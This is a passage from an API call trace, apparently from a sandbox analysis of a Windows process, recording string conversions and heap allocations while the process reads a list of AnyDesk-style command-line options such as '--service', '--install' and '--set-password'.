(HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0x3bd570 [0188.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a5c, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=11 | out: lpWideCharStr="--settings") returned 11 [0188.860] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d6908, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0188.860] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0x3bd4d0 [0188.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d6908, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=17 | out: lpWideCharStr="--admin-settings") returned 17 [0188.860] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02950, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.860] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3bd4d0 [0188.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02950, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=16 | out: lpWideCharStr="--unblock-input") returned 16 [0188.861] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0291c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0188.861] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3bd4d0 [0188.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0291c, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=15 | out: lpWideCharStr="--generate-gpt") returned 15 [0188.861] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fa36c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0188.861] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0x3bd570 [0188.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fa36c, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=9 | out: lpWideCharStr=".anydesk") returned 9 [0188.861] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fb384, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0188.861] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3bd570 [0188.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fb384, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=10 | out: lpWideCharStr="--backend") returned 10 [0188.861] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fd758, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0188.861] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0x3bd4d0 [0188.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fd758, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=21 | out: lpWideCharStr="--backproxy-elevated") returned 21 [0188.862] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19faba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0188.862] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0x3bd4d0 [0188.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19faba0, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=19 | out: lpWideCharStr="--backproxy-system") returned 19 [0188.862] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c250c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0188.862] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0x3bd570 [0188.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c250c, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=11 | out: lpWideCharStr="--frontend") returned 11 [0188.862] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fd73c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0188.862] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0x3bd570 [0188.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fd73c, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=9 | out: lpWideCharStr="--accept") returned 9 [0188.862] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fd71c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.862] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3bd4d0 [0188.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fd71c, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=16 | out: lpWideCharStr="--local-service") returned 16 [0188.863] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02adc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0188.863] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3bd570 [0188.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02adc, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=10 | out: lpWideCharStr="--service") returned 10 [0188.863] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fd784, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0188.863] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3bd570 [0188.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fd784, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=10 | out: lpWideCharStr="--control") returned 10 [0188.863] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02ad4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0188.863] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0x3bd4d0 [0188.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02ad4, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=7 | out: lpWideCharStr="--tray") returned 7 [0188.863] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02ac4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0188.863] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0x3bd4d0 [0188.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02ac4, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=13 | out: lpWideCharStr="--agent-tray") returned 13 [0188.863] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02ab0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0188.863] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0x3bd4d0 [0188.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02ab0, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=17 | out: lpWideCharStr="--agent-frontend") returned 17 [0188.864] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02aa8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0188.864] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0x3bd4d0 [0188.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02aa8, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=6 | out: lpWideCharStr="--gui") returned 6 [0188.864] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fd774, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.864] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3bd4d0 [0188.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fd774, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=16 | out: lpWideCharStr="--local-control") returned 16 [0188.864] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a9c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0188.864] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0x3bd570 [0188.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a9c, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=9 | out: lpWideCharStr="--loader") returned 9 [0188.864] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19e6998, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0188.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0x3bd570 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19e6998, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=12 | out: lpWideCharStr="--installer") returned 12 [0188.865] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0188.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3bd570 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a90, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=10 | out: lpWideCharStr="--install") returned 10 [0188.865] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a84, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0188.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0x3bd570 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a84, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=12 | out: lpWideCharStr="--uninstall") returned 12 [0188.865] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9fc8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0188.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0x3bd570 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9fc8, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=9 | out: lpWideCharStr="--remove") returned 9 [0188.865] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a74, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3bd4d0 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a74, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=16 | out: lpWideCharStr="--crash-handler") returned 16 [0188.865] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a68, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0188.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0x3bd570 [0188.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a68, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=12 | out: lpWideCharStr="--trace-dmp") returned 12 [0188.866] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0188.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x16) returned 0x3bd570 [0188.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a5c, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=11 | out: lpWideCharStr="--settings") returned 11 [0188.866] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d6908, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0188.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0x3bd4d0 [0188.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d6908, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=17 | out: lpWideCharStr="--admin-settings") returned 17 [0188.866] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a4c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3bd4d0 [0188.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a4c, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=16 | out: lpWideCharStr="--conn-settings") returned 16 [0188.867] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0188.867] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3bd4d0 [0188.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a3c, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=15 | out: lpWideCharStr="--cap-settings") returned 15 [0188.867] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a24, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0188.867] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0x3bd4d0 [0188.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a24, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=22 | out: lpWideCharStr="--global-rec-settings") returned 22 [0188.867] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a14, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0188.867] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0x3bd4d0 [0188.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a14, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=13 | out: lpWideCharStr="--trace-conv") returned 13 [0188.867] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c2574, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.867] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3bd4d0 [0188.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c2574, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=16 | out: lpWideCharStr="--start-service") returned 16 [0188.868] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad44, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0188.868] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3bd4d0 [0188.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad44, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=15 | out: lpWideCharStr="--stop-service") returned 15 [0188.868] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0188.868] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0x3bd4d0 [0188.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a02a00, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=18 | out: lpWideCharStr="--restart-service") returned 18 [0188.868] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a029f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.868] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3bd4d0 [0188.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a029f0, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=16 | out: lpWideCharStr="--finish-update") returned 16 [0188.869] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a029e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0188.869] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3bd4d0 [0188.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a029e0, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=15 | out: lpWideCharStr="--set-password") returned 15 [0188.869] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a029cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0188.869] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0x3bd4d0 [0188.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a029cc, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=18 | out: lpWideCharStr="--remove-password") returned 18 [0188.869] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a029c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0188.869] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0x3bd570 [0188.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a029c0, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=12 | out: lpWideCharStr="--get-alias") returned 12 [0188.869] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a029b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0188.869] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0x3bd570 [0188.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a029b4, cbMultiByte=-1, lpWideCharStr=0x3bd570, cchWideChar=9 | out: lpWideCharStr="--get-id") returned 9 [0188.869] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd570 | out: hHeap=0x3b0000) returned 1 [0188.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a029a0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0188.869] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0x3bd4d0 [0188.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a029a0, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=19 | out: lpWideCharStr="--register-licence") returned 19 [0188.870] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0298c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0188.870] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0x3bd4d0 [0188.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0298c, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=19 | out: lpWideCharStr="--register-license") returned 19 [0188.870] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0297c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0188.870] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0x3bd4d0 [0188.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0297c, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=13 | out: lpWideCharStr="--get-status") returned 13 [0188.870] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd4d0 | out: hHeap=0x3b0000) returned 1 [0188.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0296c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0188.870] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0x3bd4d0 [0188.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a0296c, cbMultiByte=-1, lpWideCharStr=0x3bd4d0, cchWideChar=13 | out: lpWideCharStr="--disclaimer") returned 13 [0188.870] HeapFree (in: hHeap=0x3b0000, 